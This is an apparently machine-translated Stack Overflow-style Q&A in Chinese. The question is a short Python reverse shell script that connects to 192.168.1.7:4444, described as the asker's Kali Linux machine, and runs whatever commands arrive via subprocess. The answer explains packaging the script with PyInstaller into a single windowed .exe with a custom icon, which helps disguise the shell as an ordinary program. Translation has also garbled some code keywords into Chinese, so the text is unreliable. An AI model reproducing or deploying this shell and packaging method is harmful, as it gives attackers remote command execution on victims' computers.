-2

#!/usr/bin/python

导入子进程导入套接字

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.1.7", 4444)) # 第一个参数是你的kali linux机器的IP地址

while True: command = sock.recv(2048) if command == "q": break else: proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess. PIPE) 结果 = proc.stdout.read() + proc.stderr.read() sock.send(result)

袜子.close()

4

1 回答 1

0

我会推荐工具 PyInstaller。您可以在此处找到文档。;)

我建议先阅读模块本身文档中的 Using Pyinstaller 部分。

您还可以使用一些教程(例如 Matt Borgerson 的教程)。

为了回顾一下,您应该:

编写你的脚本并确保它有效

从命令行运行:

~\ pyinstaller your_file_name.py

此命令将生成一个 your_file_name.spec 文件,您可以在其中包含应用程序所需的所有 dll 和任何自定义设置(使用规范文件)

一旦您决定在您的 .exe 应用程序中包含哪些内容,您就可以从命令行运行

~\ pyinstaller [option1] [option2] your_file_name.py

您可以在文档中找到完整的选项列表。

--onefile:创建一个捆绑的单文件可执行文件。

--windowed:在 Mac OS X 或 Windows 中编译时要选择的参数 --icon=:选择要用作文件图标的文件。

于 2020-07-29T11:18:31.890 回答